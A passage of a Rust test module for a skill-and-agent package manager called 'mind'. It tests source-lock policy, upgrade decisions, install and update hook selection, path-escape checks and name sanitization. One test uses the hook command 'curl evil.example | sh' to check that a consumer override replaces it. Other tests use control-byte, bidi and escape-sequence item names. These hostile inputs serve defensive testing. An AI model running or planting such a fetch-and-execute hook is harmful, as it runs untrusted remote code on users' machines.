unsafe {
std::env::set_var("MIND_AGENT_HOMES", base.join("env-lobe").to_str().unwrap());
}
let policy = Policy::load().unwrap().expect("policy should load");
let env_set = std::env::var_os("MIND_AGENT_HOMES").is_some();
let lobes_locked = policy.lobes_lock();
unsafe {
std::env::remove_var("MIND_AGENT_HOMES");
}
assert!(env_set, "test must have the override var set");
assert!(lobes_locked, "policy must report a lobe lock");
assert!(
!show_override_note(env_set, lobes_locked),
"POL-40: a locked policy must suppress the false override note"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn pol40_unlocked_keeps_override_note() {
let policy_toml = "[lobes]\nlock = false\n";
let (_guard, base) = with_policy(policy_toml);
unsafe {
std::env::set_var("MIND_AGENT_HOMES", base.join("env-lobe").to_str().unwrap());
}
let lobes_locked = matches!(Policy::load().unwrap(), Some(p) if p.lobes_lock());
let env_set = std::env::var_os("MIND_AGENT_HOMES").is_some();
unsafe {
std::env::remove_var("MIND_AGENT_HOMES");
}
assert!(!lobes_locked, "lock = false means no lobe lock");
assert!(
show_override_note(env_set, lobes_locked),
"unlocked behavior must be unchanged: the note still shows"
);
let _ = std::fs::remove_dir_all(&base);
}
fn registry_of(specs: &[&str]) -> Registry {
Registry {
sources: specs
.iter()
.map(|s| crate::source::parse_spec(s).unwrap())
.collect(),
}
}
#[test]
fn pol12_scoped_upgrade_no_skip_for_out_of_scope_source() {
let policy_toml = concat!(
"[sources]\n",
"lock = true\n",
"allow = [\"github.com/me/allowed-src\"]\n",
);
let (_guard, base) = with_policy(policy_toml);
let policy = Policy::load().unwrap().expect("policy should load");
assert!(policy.lock());
let selected = item("wanted", "github.com/me/allowed-src");
let other = item("unwanted", "github.com/them/blocked-src");
let filter = parse_item_ref("wanted").unwrap();
let registry = registry_of(&["me/allowed-src", "them/blocked-src"]);
assert_eq!(
upgrade_item_disposition(&other, Some(&filter), None, None, Some(&policy), ®istry),
UpgradeDisposition::OutOfScope,
"POL-12: an unselected item must not be policy-skipped (no skip line)"
);
assert_eq!(
upgrade_item_disposition(
&selected,
Some(&filter),
None,
None,
Some(&policy),
®istry
),
UpgradeDisposition::Consider,
);
assert_eq!(
upgrade_item_disposition(&other, None, None, None, Some(&policy), ®istry),
UpgradeDisposition::PolicyBlocked,
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn upgrade_disposition_resolves_instance_names_to_base_identity() {
let policy_toml = concat!(
"[sources]\n",
"lock = true\n",
"allow = [\"github.com/me/allowed-src\"]\n",
);
let (_guard, base) = with_policy(policy_toml);
let policy = Policy::load().unwrap().expect("policy should load");
let mut registry = Registry::default();
let link =
crate::source::parse_spec("https://github.com/me/allowed-src/tree/main/skills/foo")
.unwrap();
assert_eq!(link.name, "github.com/me/allowed-src#skills/foo");
let mut aliased = crate::source::parse_spec("me/allowed-src").unwrap();
aliased.apply_alias(Some("fork".into()));
assert_eq!(aliased.name, "github.com/me/allowed-src@fork");
let link_name = link.name.clone();
let aliased_name = aliased.name.clone();
registry.sources.push(link);
registry.sources.push(aliased);
for name in [&link_name, &aliased_name] {
assert_eq!(
upgrade_item_disposition(
&item("foo", name),
None,
None,
None,
Some(&policy),
®istry
),
UpgradeDisposition::Consider,
"{name}: an instance of an allowed repo stays allowed"
);
}
assert_eq!(
upgrade_item_disposition(
&item("foo", "github.com/me/allowed-src#skills/foo"),
None,
None,
None,
Some(&policy),
&Registry::default()
),
UpgradeDisposition::SourceNotRegistered,
"an unregistered instance name fails closed, distinctly from a policy block"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn upgrade_disposition_distinguishes_unregistered_source_from_policy_block() {
let policy_toml = concat!(
"[sources]\n",
"lock = true\n",
"allow = [\"github.com/me/allowed-src\"]\n",
);
let (_guard, base) = with_policy(policy_toml);
let policy = Policy::load().unwrap().expect("policy should load");
let registry = registry_of(&["me/allowed-src", "them/blocked-src"]);
assert_eq!(
upgrade_item_disposition(
&item("foo", "github.com/them/blocked-src"),
None,
None,
None,
Some(&policy),
®istry,
),
UpgradeDisposition::PolicyBlocked,
"a registered source outside the allowlist is PolicyBlocked"
);
assert_eq!(
upgrade_item_disposition(
&item("foo", "github.com/gone/unmelded-src"),
None,
None,
None,
Some(&policy),
®istry,
),
UpgradeDisposition::SourceNotRegistered,
"an item whose source is not registered must not be reported as PolicyBlocked"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn pol12_scoped_upgrade_skips_selected_disallowed_item() {
let policy_toml = concat!(
"[sources]\n",
"lock = true\n",
"allow = [\"github.com/me/allowed-src\"]\n",
);
let (_guard, base) = with_policy(policy_toml);
let policy = Policy::load().unwrap().expect("policy should load");
let selected = item("blocked-item", "github.com/them/blocked-src");
let filter = parse_item_ref("blocked-item").unwrap();
let registry = registry_of(&["me/allowed-src", "them/blocked-src"]);
assert_eq!(
upgrade_item_disposition(
&selected,
Some(&filter),
None,
None,
Some(&policy),
®istry
),
UpgradeDisposition::PolicyBlocked,
"a selected item from a disallowed source is still reported"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn upgrade_no_sync_keys_skips_inapplicable_confirmed_keys_without_aborting() {
use std::process::Command;
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let base = std::env::temp_dir().join(format!(
"mind-cmd-upgrade-keys-skip-{}-{n}",
std::process::id()
));
let _ = std::fs::remove_dir_all(&base);
let paths = Paths {
mind_home: base.join("mind"),
claude_home: base.join("claude"),
};
crate::paths::mkdir_p(&paths.mind_home).unwrap();
crate::config::Config {
lobes: vec![crate::config::LobeEntry::bare(
paths.claude_home.to_str().unwrap(),
)],
..Default::default()
}
.save(&paths)
.unwrap();
let src = base.join("skip-source");
std::fs::create_dir_all(src.join("skills/applies")).unwrap();
std::fs::write(
src.join("skills/applies/SKILL.md"),
"---\ndescription: applies skill\n---\n# applies\noriginal\n",
)
.unwrap();
std::fs::create_dir_all(src.join("skills/resolved")).unwrap();
let resolved_original = "---\ndescription: resolved skill\n---\n# resolved\noriginal\n";
std::fs::write(src.join("skills/resolved/SKILL.md"), resolved_original).unwrap();
let run = |args: &[&str]| {
Command::new("git")
.args(args)
.current_dir(&src)
.output()
.expect("git");
};
run(&["-c", "init.defaultBranch=main", "init", "-q"]);
run(&["config", "user.email", "t@t"]);
run(&["config", "user.name", "t"]);
run(&["add", "-A"]);
run(&["commit", "-qm", "initial"]);
meld(
&paths,
src.to_str().unwrap(),
None,
vec![],
vec![],
false,
PinRequest::None,
None,
false,
)
.expect("meld");
for item_key in ["skill:applies", "skill:resolved"] {
learn(
&paths,
item_key,
false,
InstallFlow {
yes: true,
clobber: Clobber::Force,
dangerously_skip: true,
dangerously_skip_build: true,
},
)
.expect("learn");
}
let manifest_before = crate::manifest::Manifest::load(&paths).unwrap();
let applies_hash_before = manifest_before
.items
.get("skill:applies")
.unwrap()
.hash
.clone();
let resolved_hash_before = manifest_before
.items
.get("skill:resolved")
.unwrap()
.hash
.clone();
std::fs::write(
src.join("skills/applies/SKILL.md"),
"---\ndescription: applies skill\n---\n# applies\nedited\n",
)
.unwrap();
std::fs::write(
src.join("skills/resolved/SKILL.md"),
"---\ndescription: resolved skill\n---\n# resolved\nedited\n",
)
.unwrap();
let confirmed_keys = vec!["skill:applies".to_string(), "skill:ghost".to_string()];
let result = upgrade_no_sync_keys(&paths, true, &confirmed_keys, false, false);
assert!(
result.is_ok(),
"a partially-inapplicable confirmed set must not abort the run: {:?}",
result.err()
);
let manifest_after = crate::manifest::Manifest::load(&paths).unwrap();
let applies_hash_after = manifest_after
.items
.get("skill:applies")
.unwrap()
.hash
.clone();
let resolved_hash_after = manifest_after
.items
.get("skill:resolved")
.unwrap()
.hash
.clone();
assert_ne!(
applies_hash_after, applies_hash_before,
"the still-applicable confirmed key must still be upgraded"
);
assert_eq!(
resolved_hash_after, resolved_hash_before,
"a genuinely pending item that was never in the confirmed key set \
must be left untouched by `key_scope` -- unlike `skill:applies`, \
its content really did drift, so this only holds if `key_scope` \
actually excluded it"
);
let _ = std::fs::remove_dir_all(&base);
}
fn declared_install(run: &str) -> crate::mindfile::ResolvedHook {
crate::mindfile::ResolvedHook {
run: run.to_string(),
name: None,
optional: false,
event: HookEvent::Install,
}
}
fn hook_rerun_warranted(source: &crate::source::Source) -> bool {
let declared: Vec<crate::mindfile::ResolvedHook> = source
.install_hooks
.iter()
.map(|r| declared_install(&r.command))
.collect();
!select_upgrade_hooks(source, &declared, true)
.hooks
.is_empty()
}
fn hook_source(commit: Option<&str>, hooks: &[(&str, Option<&str>)]) -> crate::source::Source {
use crate::source::RecordedSourceHook;
let mut s = crate::source::parse_spec("acme/tools").expect("spec parses");
s.commit = commit.map(str::to_string);
s.install_hooks = hooks
.iter()
.map(|(cmd, ran_at)| RecordedSourceHook::install(*cmd, ran_at.map(str::to_string)))
.collect();
s
}
#[test]
fn a_withdrawn_install_hook_is_not_replayed_from_the_record() {
let source = hook_source(Some("new0000"), &[("make install", Some("old0000"))]);
assert!(
select_upgrade_hooks(&source, &[], true).hooks.is_empty(),
"a record with no matching declaration is not offered"
);
assert!(
!select_upgrade_hooks(&source, &[declared_install("make install")], true)
.hooks
.is_empty(),
"the same record IS offered while the source still declares it"
);
}
#[test]
fn a_pending_install_hook_is_disclosed_with_its_declared_name_and_optional_flag() {
let source = hook_source(Some("new0000"), &[("make setup", Some("old0000"))]);
let declared = vec![crate::mindfile::ResolvedHook {
run: "make setup".to_string(),
name: Some("Build the tooling".to_string()),
optional: true,
event: HookEvent::Install,
}];
let pending = select_upgrade_hooks(&source, &declared, true);
assert_eq!(pending.event, "install");
assert_eq!(pending.hooks.len(), 1);
assert_eq!(pending.hooks[0].label, "Build the tooling");
assert!(
pending.hooks[0].optional,
"an optional hook must not be disclosed as required"
);
}
#[test]
fn a_recorded_override_replaces_the_sources_update_hooks() {
let mut source = hook_source(Some("new0000"), &[]);
let mut overridden = crate::source::RecordedSourceHook::install("./mine.sh", None);
overridden.origin = Some(HookOrigin::Override);
source.install_hooks.push(overridden);
let declared = vec![crate::mindfile::ResolvedHook {
run: "curl evil.example | sh".to_string(),
name: None,
optional: false,
event: HookEvent::Update,
}];
let pending = select_upgrade_hooks(&source, &declared, true);
assert_eq!(pending.event, "update");
assert_eq!(pending.hooks.len(), 1);
assert_eq!(
pending.hooks[0].run, "./mine.sh",
"the consumer's command is what runs"
);
assert_eq!(
pending.hooks[0].declared_override.as_deref(),
Some("curl evil.example | sh"),
"the disclosure still names the declared command it replaced"
);
}
#[test]
fn a_curated_update_hook_is_offered_from_the_record_and_gated_by_dsc_60() {
let mut source = hook_source(Some("new0000"), &[]);
let mut curated = crate::source::RecordedSourceHook::install("./migrate.sh", None);
curated.event = Some(RecordedEvent::Update);
curated.origin = Some(HookOrigin::Curated);
curated.name = Some("Migrate".to_string());
curated.optional = true;
source.install_hooks.push(curated);
let pending = select_upgrade_hooks(&source, &[], false);
assert_eq!(pending.event, "update");
assert_eq!(pending.hooks.len(), 1);
assert_eq!(pending.hooks[0].run, "./migrate.sh");
assert_eq!(pending.hooks[0].label, "Migrate");
assert!(pending.hooks[0].optional);
let gated = select_upgrade_hooks(&source, &[], true);
assert_eq!(
gated.event, "install",
"a nested source with its own mind.toml drops the curated hooks"
);
assert!(gated.hooks.is_empty());
}
#[test]
fn hook_rerun_warranted_truth_table() {
assert!(
!hook_rerun_warranted(&hook_source(Some("abc1234"), &[])),
"no install_hooks means no re-run"
);
assert!(
!hook_rerun_warranted(&hook_source(
Some("abc1234"),
&[("make install", Some("abc1234"))],
)),
"ran_at == commit means the hook already ran here"
);
assert!(
!hook_rerun_warranted(&hook_source(
Some("abc1234"),
&[
("make build", Some("abc1234")),
("make install", Some("abc1234")),
],
)),
"all hooks ran at current commit means no re-run warranted"
);
assert!(
hook_rerun_warranted(&hook_source(Some("abc1234"), &[("make install", None)],)),
"a recorded-but-never-run hook is re-offered"
);
assert!(
hook_rerun_warranted(&hook_source(
Some("def5678"),
&[("make install", Some("abc1234"))],
)),
"an advanced commit warrants a re-run"
);
assert!(
hook_rerun_warranted(&hook_source(
Some("new0000"),
&[
("make build", Some("new0000")),
("make install", Some("old0000")),
],
)),
"at least one stale hook warrants a re-run"
);
}
#[test]
fn init_source_scaffold_includes_hooks_examples() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let tmp =
std::env::temp_dir().join(format!("mind-cmd-init-hooks-{}-{n}", std::process::id()));
std::fs::create_dir_all(&tmp).unwrap();
struct Rm(std::path::PathBuf);
impl Drop for Rm {
fn drop(&mut self) {
let _ = std::fs::remove_dir_all(&self.0);
}
}
let _rm = Rm(tmp.clone());
init_source(Some(tmp.to_str().unwrap()), false, false, false, None)
.expect("init_source should succeed");
let toml_path = tmp.join("mind.toml");
assert!(toml_path.exists(), "mind.toml must be created");
let contents = std::fs::read_to_string(&toml_path).unwrap();
assert!(
contents.contains("[[hooks]]"),
"scaffold must include a commented [[hooks]] example: {contents}"
);
assert!(
contents.contains("install"),
"scaffold must show event = \"install\": {contents}"
);
assert!(
contents.contains("uninstall"),
"scaffold must show event = \"uninstall\": {contents}"
);
assert!(
contents.contains("optional = true"),
"scaffold must have at least one optional = true example: {contents}"
);
assert!(
contents.contains("idempotent"),
"scaffold must state that an install hook is expected to be \
idempotent: {contents}"
);
assert!(
contents.contains("event = \"update\""),
"scaffold must show an update-event example: {contents}"
);
let has_uncommented_hooks = contents.lines().any(|l| l.trim() == "[[hooks]]");
assert!(
!has_uncommented_hooks,
"[[hooks]] examples must all be commented out: {contents}"
);
assert!(
contents.contains("[source]"),
"scaffold must still have [source]"
);
assert!(
contents.contains("# namespace = \"prefix\""),
"scaffold must still have commented namespace: {contents}"
);
}
#[test]
fn hook_token_is_count_aware() {
let s0 = hook_source(Some("abc"), &[]);
let token0 = match s0.install_hooks.len() {
0 => String::new(),
1 => " hook".to_string(),
n => format!(" hooks({n})"),
};
assert_eq!(token0, "", "no hooks => empty token");
let s1 = hook_source(Some("abc"), &[("make install", Some("abc"))]);
let token1 = match s1.install_hooks.len() {
0 => String::new(),
1 => " hook".to_string(),
n => format!(" hooks({n})"),
};
assert_eq!(token1, " hook", "1 hook => ' hook'");
let s2 = hook_source(
Some("abc"),
&[("make build", Some("abc")), ("make install", Some("abc"))],
);
let token2 = match s2.install_hooks.len() {
0 => String::new(),
1 => " hook".to_string(),
n => format!(" hooks({n})"),
};
assert_eq!(token2, " hooks(2)", "2 hooks => ' hooks(2)'");
}
#[test]
fn hook_rerun_warranted_multi_hook_model() {
let all_current = hook_source(
Some("fff000"),
&[
("make build", Some("fff000")),
("make install", Some("fff000")),
("make test", Some("fff000")),
],
);
assert!(
!hook_rerun_warranted(&all_current),
"all hooks current => no re-run warranted"
);
let one_never_ran = hook_source(
Some("fff000"),
&[
("make build", Some("fff000")),
("make install", None), ],
);
assert!(
hook_rerun_warranted(&one_never_ran),
"one hook with ran_at=None => re-run warranted"
);
let no_commit = hook_source(None, &[("make install", Some("old"))]);
assert!(
hook_rerun_warranted(&no_commit),
"commit=None and ran_at=Some => they differ => warranted"
);
}
#[test]
fn convention_path_in_root_derives_correct_paths() {
let root = std::path::Path::new("/repo");
assert_eq!(
convention_path_in_root(root, ItemKind::Skill, "review"),
PathBuf::from("/repo/skills/review"),
"skill convention path is skills/<name>/"
);
assert_eq!(
convention_path_in_root(root, ItemKind::Agent, "dev"),
PathBuf::from("/repo/agents/dev.md"),
"agent convention path is agents/<name>.md"
);
assert_eq!(
convention_path_in_root(root, ItemKind::Rule, "style"),
PathBuf::from("/repo/rules/style.md"),
"rule convention path is rules/<name>.md"
);
assert_eq!(
convention_path_in_root(root, ItemKind::Command, "ship"),
PathBuf::from("/repo/commands/ship.md"),
"command convention path is commands/<name>.md"
);
}
#[test]
fn absorb_effective_key_sanitizes_a_hostile_name() {
let hostile_name = format!("hand{}ma\u{202E}de", '\x07');
let key = absorb_effective_key(ItemKind::Skill, &hostile_name);
assert!(
!key.contains('\x07') && !key.contains('\u{202E}'),
"the composed key must not carry a raw control byte or bidi override: {key:?}"
);
assert_eq!(
key, "skill:handmade",
"the sanitized key must still read as the intended name"
);
}
#[test]
fn expand_tilde_handles_home_prefix() {
let home = dirs::home_dir().expect("home dir");
let expanded = expand_tilde("~");
assert_eq!(expanded, home, "bare ~ must expand to home directory");
let expanded2 = expand_tilde("~/foo");
assert_eq!(
expanded2,
home.join("foo"),
"~/foo must expand to <home>/foo"
);
let abs = expand_tilde("/tmp/mydir");
assert_eq!(
abs,
PathBuf::from("/tmp/mydir"),
"absolute path must be unchanged"
);
let rel = expand_tilde("relpath/dir");
assert_eq!(
rel,
PathBuf::from("relpath/dir"),
"relative path must be unchanged"
);
}
#[test]
fn first_scan_root_defaults_to_dest_dir() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let dir =
std::env::temp_dir().join(format!("mind-abs-scanroot-{}-{n}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
let root = first_scan_root(&dir).unwrap();
assert_eq!(
root,
dir.join("."),
"first_scan_root with no mind.toml must be dest/."
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn first_scan_root_uses_minds_toml_roots() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let dir =
std::env::temp_dir().join(format!("mind-abs-scanroot2-{}-{n}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
std::fs::write(
dir.join("mind.toml"),
"[source]\nroots = [\"packages/agents\"]\n",
)
.unwrap();
std::fs::create_dir_all(dir.join("packages/agents")).unwrap();
let root = first_scan_root(&dir).unwrap();
assert_eq!(
root,
dir.join("packages/agents"),
"first_scan_root must use first entry of [source].roots"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn first_scan_root_rejects_escaping_root() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let dir = std::env::temp_dir().join(format!(
"mind-abs-scanroot-escape-{}-{n}",
std::process::id()
));
std::fs::create_dir_all(&dir).unwrap();
std::fs::write(
dir.join("mind.toml"),
"[source]\nroots = [\"../../outside\"]\n",
)
.unwrap();
let err = first_scan_root(&dir).unwrap_err();
assert!(
matches!(err, crate::error::MindError::InvalidRoot { .. }),
"an escaping roots entry must be InvalidRoot: {err}"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn normalize_path_folds_parent_and_current_components() {
use std::path::PathBuf;
assert_eq!(
normalize_path(&PathBuf::from("/repo/./skills")),
PathBuf::from("/repo/skills"),
"a `.` component must be dropped"
);
assert_eq!(
normalize_path(&PathBuf::from("/repo/sub/../skills")),
PathBuf::from("/repo/skills"),
"a `..` must pop the previous component"
);
let escaped = normalize_path(&PathBuf::from("/repo/../../outside"));
assert!(
!escaped.starts_with("/repo"),
"a climbing `..` chain must escape the repo root: {escaped:?}"
);
assert_eq!(
escaped,
PathBuf::from("/outside"),
"folding /repo/../../outside yields /outside"
);
}
#[test]
fn first_scan_root_rejects_existing_escaping_root_via_canonicalize() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let base = std::env::temp_dir().join(format!(
"mind-abs-scanroot-canon-{}-{n}",
std::process::id()
));
let dest = base.join("repo");
let outside = base.join("outside");
std::fs::create_dir_all(&dest).unwrap();
std::fs::create_dir_all(&outside).unwrap();
std::fs::write(
dest.join("mind.toml"),
"[source]\nroots = [\"../outside\"]\n",
)
.unwrap();
let err = first_scan_root(&dest).unwrap_err();
assert!(
matches!(err, crate::error::MindError::InvalidRoot { .. }),
"an existing escaping root (canonicalize branch) must be InvalidRoot: {err}"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn dest_source_prefix_none_when_unset() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let dir =
std::env::temp_dir().join(format!("mind-abs-pfx-none-{}-{n}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
let registry = crate::source::Registry::default();
assert_eq!(
dest_source_prefix(&dir, ®istry),
None,
"no alias and no mind.toml prefix means no effective prefix"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn dest_source_prefix_reads_mindfile_prefix() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let dir =
std::env::temp_dir().join(format!("mind-abs-pfx-toml-{}-{n}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
std::fs::write(dir.join("mind.toml"), "[source]\nprefix = \"tomlpfx\"\n").unwrap();
let registry = crate::source::Registry::default();
assert_eq!(
dest_source_prefix(&dir, ®istry),
Some("tomlpfx".to_string()),
"an unmelded destination uses its mind.toml [source].prefix"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn dest_source_prefix_alias_beats_mindfile_prefix() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let dir =
std::env::temp_dir().join(format!("mind-abs-pfx-alias-{}-{n}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
std::fs::write(dir.join("mind.toml"), "[source]\nprefix = \"tomlpfx\"\n").unwrap();
let mut src = crate::source::parse_spec(&dir.to_string_lossy()).unwrap();
src.alias = Some("aliaspfx".to_string());
let registry = crate::source::Registry { sources: vec![src] };
assert_eq!(
dest_source_prefix(&dir, ®istry),
Some("aliaspfx".to_string()),
"the recorded alias must win over the repo's [source].prefix"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn dest_source_prefix_empty_alias_falls_through_to_mindfile() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let dir =
std::env::temp_dir().join(format!("mind-abs-pfx-empty-{}-{n}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
std::fs::write(dir.join("mind.toml"), "[source]\nprefix = \"tomlpfx\"\n").unwrap();
let mut src = crate::source::parse_spec(&dir.to_string_lossy()).unwrap();
src.alias = Some(String::new()); let registry = crate::source::Registry { sources: vec![src] };
assert_eq!(
dest_source_prefix(&dir, ®istry),
Some("tomlpfx".to_string()),
"an empty alias must not suppress the mind.toml prefix"
);
let _ = std::fs::remove_dir_all(&dir);
}
fn ns_paths() -> (Paths, PathBuf) {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let base = std::env::temp_dir().join(format!("mind-ns-set-{}-{n}", std::process::id()));
let _ = std::fs::remove_dir_all(&base);
let paths = Paths {
mind_home: base.join("mind"),
claude_home: base.join("claude"),
};
(paths, base)
}
fn seed_source(paths: &Paths, repo: &str, alias: Option<&str>) -> String {
let mut src = crate::source::parse_spec(&format!("github:acme/{repo}")).unwrap();
src.apply_alias(alias.map(|s| s.to_string()));
let name = src.name.clone();
let registry = crate::source::Registry { sources: vec![src] };
registry.save(paths).expect("save registry");
name
}
fn seed_installed_item(paths: &Paths, source: &str, kind: ItemKind, name: &str) {
let mut manifest = Manifest::load(paths).expect("load manifest");
manifest.insert(InstalledItem {
kind,
name: name.to_string(),
bare_name: name.to_string(),
source: source.to_string(),
commit: "deadbeef".to_string(),
hash: "abc123".to_string(),
store: format!("store/{name}"),
links: vec![],
description: None,
install_hooks: Vec::new(),
dropped_requires: Vec::new(),
});
manifest.save(paths).expect("save manifest");
}
#[test]
fn set_source_namespace_source_not_found_is_noop() {
let (paths, base) = ns_paths();
seed_source(&paths, "agents", None);
let r = set_source_namespace(&paths, "github.com/nope/missing", Some("jk".into()));
assert!(r.is_ok(), "unknown source must be a no-op Ok: {r:?}");
let reg = Registry::load(&paths).unwrap();
assert_eq!(reg.sources[0].alias, None, "no alias should be written");
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn set_source_namespace_locked_when_items_installed_and_alias_differs() {
let (paths, base) = ns_paths();
let name = seed_source(&paths, "agents", None);
seed_installed_item(&paths, &name, ItemKind::Skill, "review");
let r = set_source_namespace(&paths, &name, Some("jk".into()));
match r {
Err(MindError::NamespaceLocked { src_name, items }) => {
assert_eq!(src_name, name);
assert!(
items.contains(&"skill:review".to_string()),
"locked error must list the installed item key: {items:?}"
);
}
other => panic!("expected NamespaceLocked, got {other:?}"),
}
let reg = Registry::load(&paths).unwrap();
assert_eq!(
reg.sources[0].alias, None,
"a locked change must not write the new alias"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn set_source_namespace_locked_message_sanitizes_installed_item_key() {
let (paths, base) = ns_paths();
let name = seed_source(&paths, "agents", None);
seed_installed_item(&paths, &name, ItemKind::Skill, "evil\x1b[31mname");
let r = set_source_namespace(&paths, &name, Some("jk".into()));
let msg = match r {
Err(e @ MindError::NamespaceLocked { .. }) => e.to_string(),
other => panic!("expected NamespaceLocked, got {other:?}"),
};
assert!(!msg.contains('\x1b'), "must strip raw ESC: {msg:?}");
assert!(msg.contains("evil"), "must still name the item: {msg}");
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn set_source_namespace_unchanged_alias_with_items_is_noop() {
let (paths, base) = ns_paths();
let name = seed_source(&paths, "agents", Some("jk"));
seed_installed_item(&paths, &name, ItemKind::Skill, "jk:review");
let r = set_source_namespace(&paths, &name, Some("jk".into()));
assert!(
r.is_ok(),
"an unchanged alias must be a no-op even with items installed: {r:?}"
);
let reg = Registry::load(&paths).unwrap();
assert_eq!(reg.sources[0].alias.as_deref(), Some("jk"));
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn set_source_namespace_allowed_and_persisted_when_no_items() {
let (paths, base) = ns_paths();
let name = seed_source(&paths, "agents", None);
set_source_namespace(&paths, &name, Some("jk".into())).expect("set namespace");
let reg = Registry::load(&paths).unwrap();
assert_eq!(
reg.sources[0].alias.as_deref(),
Some("jk"),
"the new alias must be persisted"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn set_source_namespace_never_sets_identity_alias() {
let (paths, base) = ns_paths();
let name = seed_source(&paths, "agents", None);
set_source_namespace(&paths, &name, Some("jk".into())).expect("set namespace");
let reg = Registry::load(&paths).unwrap();
assert_eq!(
reg.sources[0].alias.as_deref(),
Some("jk"),
"the display alias must change"
);
assert_eq!(
reg.sources[0].as_alias, None,
"the identity alias must stay None: a display-prefix-only change \
must never satisfy the STO-60 fork-note guard"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn set_source_namespace_empty_string_clears_consumer_prefix() {
let (paths, base) = ns_paths();
let name = seed_source(&paths, "agents", Some("jk"));
set_source_namespace(&paths, &name, Some(String::new())).expect("clear namespace");
let reg = Registry::load(&paths).unwrap();
assert_eq!(
reg.sources[0].alias.as_deref(),
Some(""),
"empty string override must persist as Some(\"\")"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn set_source_namespace_none_equals_empty_is_noop() {
let (paths, base) = ns_paths();
let name = seed_source(&paths, "agents", None);
set_source_namespace(&paths, &name, None).expect("noop");
let reg = Registry::load(&paths).unwrap();
assert_eq!(reg.sources[0].alias, None);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn set_source_namespace_rejects_reserved_kind_word() {
let (paths, base) = ns_paths();
let name = seed_source(&paths, "agents", None);
let r = set_source_namespace(&paths, &name, Some("skill".into()));
assert!(
matches!(r, Err(MindError::ReservedPrefix { ref prefix }) if prefix == "skill"),
"a reserved kind word must be rejected: {r:?}"
);
let reg = Registry::load(&paths).unwrap();
assert_eq!(reg.sources[0].alias, None);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn origin_label_none_returns_empty() {
assert_eq!(
origin_label(None),
"",
"no origin -> empty string (no extra token)"
);
}
#[test]
fn origin_label_claude_plugin_returns_token() {
let label = origin_label(Some(ManifestOrigin::ClaudePlugin));
assert_eq!(
label, " origin:claude-plugin",
"ClaudePlugin must produce the 'origin:claude-plugin' token with leading space"
);
}
#[test]
fn origin_label_claude_marketplace_returns_token() {
let label = origin_label(Some(ManifestOrigin::ClaudeMarketplace));
assert_eq!(
label, " origin:claude-marketplace",
"ClaudeMarketplace must produce the 'origin:claude-marketplace' token with leading space"
);
}
#[test]
fn marketplace_entry_spec_external_passes_spec_through() {
let entry = plugin_manifest::MarketplaceEntry {
name: "my-plugin".to_string(),
source: plugin_manifest::PluginSource::External {
spec: "owner/my-plugin".to_string(),
},
version: None,
description: None,
skills: vec![],
};
let clone_dir = std::path::Path::new("/some/catalog/clone");
let spec = marketplace_entry_spec(&entry, clone_dir);
assert_eq!(
spec, "owner/my-plugin",
"External spec must pass through verbatim"
);
}
#[test]
fn marketplace_entry_spec_in_repo_joins_onto_clone_dir() {
let entry = plugin_manifest::MarketplaceEntry {
name: "embedded".to_string(),
source: plugin_manifest::PluginSource::InRepo {
path: "plugins/embedded".to_string(),
},
version: None,
description: None,
skills: vec![],
};
let clone_dir = std::path::Path::new("/home/user/.mind/sources/local/owner/catalog");
let spec = marketplace_entry_spec(&entry, clone_dir);
assert_eq!(
spec, "/home/user/.mind/sources/local/owner/catalog/plugins/embedded",
"InRepo spec must be clone_dir joined with the in-repo path"
);
}
#[test]
fn marketplace_entry_spec_in_repo_dotslash_prefix() {
let entry = plugin_manifest::MarketplaceEntry {
name: "p1".to_string(),
source: plugin_manifest::PluginSource::InRepo {
path: "./plugins/p1".to_string(),
},
version: None,
description: None,
skills: vec![],
};
let clone_dir = std::path::Path::new("/repo");
let spec = marketplace_entry_spec(&entry, clone_dir);
assert!(
spec.starts_with("/repo"),
"InRepo spec with ./ prefix must still be rooted inside clone_dir: {spec}"
);
}
#[test]
fn offer_save_absorb_to_yes_writes_config() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let base = std::env::temp_dir().join(format!("mind-abs-save-{}-{n}", std::process::id()));
let _ = std::fs::remove_dir_all(&base);
let paths = Paths {
mind_home: base.join("mind"),
claude_home: base.join("claude"),
};
assert!(
!paths.config_file().exists(),
"sanity: config.toml must not pre-exist"
);
let dest = base.join("personal");
offer_save_absorb_to(&paths, &dest, true).expect("offer_save_absorb_to");
let cfg = Config::load(&paths).expect("load config");
assert_eq!(
cfg.absorb_to.as_deref(),
